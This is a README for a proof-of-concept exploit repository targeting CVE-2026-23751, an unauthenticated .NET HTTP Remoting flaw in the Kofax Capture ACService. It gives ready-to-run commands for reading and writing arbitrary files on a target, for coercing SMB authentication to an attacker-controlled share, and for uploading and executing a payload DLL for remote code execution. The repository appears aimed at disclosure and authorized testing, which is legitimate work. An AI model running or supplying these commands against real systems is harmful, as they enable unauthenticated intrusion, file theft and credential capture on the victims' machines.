siebrum/cve-2026-23751-pocPatched RemotingClient to exploit CVE-2026-23751 (Tungsten Automation - Kofax Capture Unauthenticated File Read/Write, Remote Code Execution and SMB coercion via .NET HTTP Remoting)
Proof-of-concept implementation of the .NET HTTP Remoting technique described in Code White's NewRemotingTricks, targeting Tungsten Automation Kofax Capture.
Title: Tungsten Automation Kofax Capture Unauthenticated File Read/Write and Command Execution via .NET HTTP Remoting
CVE: CVE-2026-23751
Authors of this PoC (not the CVE): Filip Sanders, Siebren Kraak
CVE-2026-23751 affects Tungsten Automation Kofax Capture and allows an unauthenticated remote attacker to interact with a .NET HTTP Remoting endpoint exposed by the Kofax Capture ACService.
The vulnerability can be abused to perform operations in the security context of the Kofax Capture service, including:
The PoC reimplements the relevant .NET Remoting technique from Code White's project.
The PoC targets the Kofax Capture ACService HTTP Remoting endpoint:
http://<target>:2424/ACService
Port 2424 is the default HTTP Remoting port used by the affected service.
The PoC supports three operations:
read
write
exec
The general syntax is:
RemotingClient_MBRO_Lazy.exe <operation> <object-url> <file-url> [content]
The following example reads the Windows hosts file from the target:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService C:\Windows\System32\drivers\etc\hosts
A Kofax Capture configuration file can similarly be read:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService C:\ProgramData\Kofax\Remoting\Client\Configuration\ConfigInfo.xml
Remote resources can also be accessed using a file:// URI:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService file://\\<attacker>\share\file.txt
The contents returned by the remote WebClient are written to standard output.
A file can be written to a location accessible by the Kofax Capture service by supplying the target path followed by the content:
PS C:/> .\RemotingClient_MBRO_Lazy.exe write http://<target>:2424/ACService C:\Windows\Temp\test.txt HelloWorld
The supplied content is encoded as UTF-8 and uploaded using the remotely instantiated WebClient.
The same functionality can be used with a UNC path to write to a remote SMB share:
PS C:/> .\RemotingClient_MBRO_Lazy.exe write http://<target>:2424/ACService \\<remote_host>\share\file.txt HelloWorld
The ability to access the remote resource depends on the permissions and security context of the Kofax Capture service.
The read operation can be used with a remote file:// resource to cause the target to access an attacker-controlled SMB resource:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService file://\\<attacker>\share\file.txt
This can cause the affected host to authenticate to the attacker-controlled SMB server, depending on the target environment and its security configuration.
The exec operation can be used to execute a supplied .NET assembly in the context of the remote Kofax Capture service.
The assembly is first uploaded to the target and then loaded using a remotely instantiated AssemblyInstaller:
PS C:/> .\RemotingClient_MBRO_Lazy.exe exec http://<target>:2424/ACService C:\Windows\Temp\payload.dll
The supplied path is used as the destination for the uploaded assembly and subsequently passed to the remote AssemblyInstaller. The assembly is loaded server-side and installed through the .NET Framework installation mechanism.
After execution, the PoC reads the execution output from:
C:\Windows\Temp\pwn_out.txt
The exact behavior of the payload depends on the contents of Payload.dll.
The vulnerability involves the use of .NET HTTP Remoting by Kofax Capture's ACService.
.NET Remoting provides mechanisms for communicating with remote MarshalByRefObject instances. By interacting with the exposed remoting endpoint and manipulating the logical call context, the PoC can obtain remote instances of .NET Framework classes that inherit from MarshalByRefObject.
The PoC uses this behavior to obtain remote instances of:
System.Net.WebClient
System.Configuration.Install.AssemblyInstaller
A remotely instantiated WebClient can then be used to perform file-system and network operations from the context of the Kofax Capture service.
For command execution, the PoC uploads Payload.dll using the remote WebClient, obtains a remote AssemblyInstaller, sets its assembly path, and invokes the installation mechanism. This causes the supplied assembly to be loaded and executed on the target.
The PoC therefore demonstrates the following primitives:
MarshalByRefObject instancesThe write functionality currently operates on UTF-8 encoded string data. Additional file types and payload formats can be supported by modifying the source code.
ACServiceRemotingClient_MBRO_Lazy.exePayload.dll when using the exec operationNo authentication to the Kofax Capture service is required for exploitation.
CVE-2026-23751-poc/
├── RemotingClient_MBRO_Lazy/
│ └── RemotingClient_MBRO_Lazy.exe
├── Shared/
│ └── Shared.dll
├── Payload/
│ └── Payload.dll
└── README.md
Filip Sanders
Siebren Kraak
This repository is provided for security research, vulnerability validation, and authorized penetration testing purposes only.
Do not use this PoC against systems without explicit authorization. The authors are not responsible for damage, data loss, unauthorized access, or other consequences resulting from misuse of this software.